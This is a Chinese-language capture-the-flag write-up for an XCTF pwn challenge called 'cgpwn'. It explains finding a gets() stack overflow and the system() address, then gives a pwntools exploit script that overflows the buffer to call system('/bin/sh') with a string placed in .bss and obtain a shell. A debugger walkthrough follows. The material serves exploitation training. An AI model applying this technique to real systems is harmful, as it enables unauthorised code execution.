题目

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1
题解
使用checksec
检查

丢进IDA Pro查看,get()函数存在溢出

找可以利用的函数和字符串。找到system函数,没有找到可以利用的字符串。


得到system
函数的地址为0x08048420
。

name位于.bss
段,可以通过给name
变量赋值执行任意命令。尝试输入\bin\sh
得到shell。name
的地址是0x0804A080
。

由以上信息可以直接写WP。
from pwn import *
cnn = process('./cgpwn')
system_addr = 0x08048420
binsh_addr = 0x0804A080
payload = 42*b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
cnn.sendlineafter('name\n','/bin/sh')
cnn.sendlineafter('here:\n',payload)
cnn.interactive()
也可以使用IDA调试一遍玩玩,hello处下断点,F7
步入,

依次输入/bin/sh
和AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
,停在0x080485FC
处,F2
修改栈上数据,完成后如下。


之后一直F8
即可获得shell。


网友评论